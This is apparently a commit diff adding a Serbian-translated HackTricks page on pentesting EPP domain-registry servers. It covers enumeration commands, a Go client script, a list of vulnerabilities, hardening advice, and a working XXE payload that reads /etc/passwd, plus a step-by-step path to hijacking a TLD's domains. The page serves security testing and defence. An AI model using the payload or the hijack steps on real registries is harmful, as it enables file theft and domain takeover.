mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/network-services-pentesting/700-pentesting-epp.md'] to
This commit is contained in:
parent
dd0c0769a1
commit
b3281cb4be
@ -4,7 +4,7 @@
|
||||
|
||||
## Osnovne informacije
|
||||
|
||||
Extensible Provisioning Protocol (EPP) je mrežni protokol koji se koristi za **upravljanje domenama i drugim internet resursima** od strane registara domena i registrara. Omogućava automatizaciju procesa registracije, obnavljanja, prenosa i brisanja domena, osiguravajući standardizovan i siguran komunikacioni okvir između različitih entiteta u sistemu domena (DNS). EPP je dizajniran da bude fleksibilan i proširiv, omogućavajući dodavanje novih funkcija i komandi kako se potrebe internet infrastrukture razvijaju.
|
||||
Extensible Provisioning Protocol (EPP) je mrežni protokol koji se koristi za **upravljanje domenima i drugim internet resursima** od strane registara domena i registrara. Omogućava automatizaciju procesa registracije, obnavljanja, prenosa i brisanja domena, osiguravajući standardizovan i siguran komunikacioni okvir između različitih entiteta u sistemu domena (DNS). EPP je dizajniran da bude fleksibilan i proširiv, omogućavajući dodavanje novih funkcija i komandi kako se potrebe internet infrastrukture razvijaju.
|
||||
|
||||
U suštini, to je jedan od protokola koje **TLD registrar nudi registrarima domena** za registraciju novih domena u TLD.
|
||||
|
||||
@ -12,4 +12,104 @@ U suštini, to je jedan od protokola koje **TLD registrar nudi registrarima dome
|
||||
|
||||
[**U ovom veoma interesantnom članku**](https://hackcompute.com/hacking-epp-servers/) možete videti kako su neki istraživači bezbednosti otkrili da su nekoliko **implementacija ovog protokola** bile ranjive na XXE (XML External Entity) jer ovaj protokol koristi XML za komunikaciju, što bi omogućilo napadačima da preuzmu desetine različitih TLD-ova.
|
||||
|
||||
---
|
||||
|
||||
## Enumeracija i Recon
|
||||
|
||||
EPP serveri gotovo uvek slušaju na TCP `700/tcp` preko TLS-a. Tipična implementacija takođe sprovodi **uzajamni TLS (mTLS)**, tako da klijent mora da predstavi važeći sertifikat koji je izdao CA registra. Ipak, mnoge privatne testne ili pre-produkcijske implementacije zaboravljaju tu kontrolu:
|
||||
```bash
|
||||
# Banner-grabbing / TLS inspection
|
||||
nmap -p700 --script ssl-cert,ssl-enum-ciphers <target>
|
||||
|
||||
# Check if mTLS is *really* required (it frequently is not!)
|
||||
openssl s_client -connect <target>:700 -quiet \
|
||||
-servername epp.test 2>/dev/null | head
|
||||
```
|
||||
Ako server ne prekine vezu nakon TLS rukovanja, možete pokušati da pošaljete neautentifikovanu `<hello/>` poruku:
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<epp xmlns="urn:ietf:params:xml:ns:epp-1.0">
|
||||
<hello/>
|
||||
</epp>
|
||||
```
|
||||
### Open-source klijenti korisni za testiranje
|
||||
|
||||
* **epp-client (Go)** – aktivno održavan, podržava TCP/TLS i EPP-over-HTTPS (RFC 8730):
|
||||
`go install github.com/domainr/epp/cmd/epp@latest`
|
||||
* **gandi/go-epp** – minimalna biblioteka klijenta koja se lako može instrumentisati za fuzzing ili nuclei-stil radne tokove.
|
||||
* **afq984/php-epp-client** – PHP implementacija koju koriste mnogi mali registrari; zgodan cilj za pregled koda.
|
||||
|
||||
Primer minimalnog skripta za prijavu+proveru sa Go epp-client:
|
||||
```go
|
||||
package main
|
||||
import (
|
||||
"github.com/domainr/epp"
|
||||
"crypto/tls"
|
||||
)
|
||||
|
||||
func main() {
|
||||
cfg := &tls.Config{InsecureSkipVerify: true}
|
||||
c, _ := epp.DialTLS("epp.test:700", cfg)
|
||||
c.Login("CLIENT_ID", "PASSWORD", nil)
|
||||
resp, _ := c.DomainCheck("example","com")
|
||||
println(resp)
|
||||
}
|
||||
```
|
||||
---
|
||||
|
||||
## Uobičajene slabosti i ranjivosti 2023-2025
|
||||
|
||||
| Godina | Komponenta | CWE | Uticaj |
|
||||
|--------|------------|-----|--------|
|
||||
| 2023 | CoCCA Registry < 3.5 | CWE-611 XXE | Udaljeno čitanje fajlova i SSRF putem kreiranog `<epp>` payload-a (zakrpa: 2023-11-02) |
|
||||
| 2024 | FRED EPP Server 2.x | CWE-322 Nedovoljna validacija TLS sertifikata | Zaobilaženje mTLS omogućilo neovlašćen pristup registraru |
|
||||
| 2025 | Proprietary registrar panel | CWE-306 Nedostajuća autentifikacija za kritičnu funkciju | Tačka odobrenja prenosa domena izložena preko EPP-HTTP mosta |
|
||||
|
||||
### XXE / SSRF payload (radi protiv mnogih Java/Spring implementacija)
|
||||
```xml
|
||||
<?xml version="1.0"?>
|
||||
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
|
||||
<epp xmlns="urn:ietf:params:xml:ns:epp-1.0">
|
||||
<command>
|
||||
<check>
|
||||
<domain:check xmlns:domain="urn:ietf:params:xml:ns:domain-1.0">
|
||||
<domain:name>&xxe;</domain:name>
|
||||
</domain:check>
|
||||
</check>
|
||||
</command>
|
||||
</epp>
|
||||
```
|
||||
Kada je parser pogrešno konfiguran (`XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES=true`), sadržaj datoteke se vraća unutar `<resData>` strukture.
|
||||
|
||||
### Ostala tipična otkrića
|
||||
|
||||
1. **Slaba politika kredencijala** – EPP prijavne fraze kraće od 8 karaktera; brute-force je često izvodljiv jer specifikacija samo PREPORUČUJE (ne zahteva) ograničavanje brzine.
|
||||
2. **Nedostajući `registryLock` / `serverUpdateProhibited` status** – nakon autentifikacije, napadači mogu odmah ažurirati NS zapise i ukrasti saobraćaj.
|
||||
3. **Nepotpisane poruke za anketu** – neke implementacije još uvek ne potpisuju poruke Q&A anketa, omogućavajući spoofing/phishing operatera registra.
|
||||
|
||||
---
|
||||
|
||||
## Put napada: Od nule do otmice TLD-a
|
||||
|
||||
1. Otkrijte EPP krajnju tačku (često skrivena iza generičkog hosta kao što je `ot&e.<tld>.nic.<cc>`).
|
||||
2. Iskoristite jednu od gornjih slabosti da dobijete kredencijale na nivou registra (XXE → SSRF do IMDSv1, eksfiltracija kredencijala, ili TLS-bypass).
|
||||
3. Izdajte `<update>` zahteve da promenite `hostObj` zapise domena na servere imenom napadača.
|
||||
4. (Opcionalno) Podnesite `<transfer>` da prebacite domen na registrar pod kontrolom napadača – mnogi registri se još uvek oslanjaju na **jedan auth-code**.
|
||||
5. Profit: potpuna kontrola DNS zone, mogućnost zahteva TLS sertifikata putem ACME.
|
||||
|
||||
---
|
||||
|
||||
## Odbrambene mere i učvršćivanje
|
||||
|
||||
* Sprovodite **mTLS sa klijent sertifikatima po registru** i pinujte CA registra.
|
||||
* Postavite `parserFeature secure-processing=true` ili ekvivalentno da ubijete XXE.
|
||||
* Izvršite **kontinuirano fuzzing** XML parsera (npr. sa `go-fuzz` ili `jazzer` za Java).
|
||||
* Implementirajte **Registry Lock / server*Prohibited** statuse za domene visoke vrednosti.
|
||||
* Pratite `poll` red za sumnjive `<transfer>` ili `<update>` komande i obaveštavajte u realnom vremenu.
|
||||
* ICANN 2024 izmene ugovora o DNS-zloupotrebi zahtevaju od registara da dokažu kontrole brzine i autentifikacije – iskoristite ih.
|
||||
|
||||
## Reference
|
||||
|
||||
* ICANN Savetodavni komitet za bezbednost i stabilnost (SSAC). "SAC118: Posledice neuspeha operatera registra da implementira EPP bezbednosne kontrole". 2024.
|
||||
* HackCompute – "Hacking EPP servera: zloupotreba XXE za otmicu TLD-ova" (2023).
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user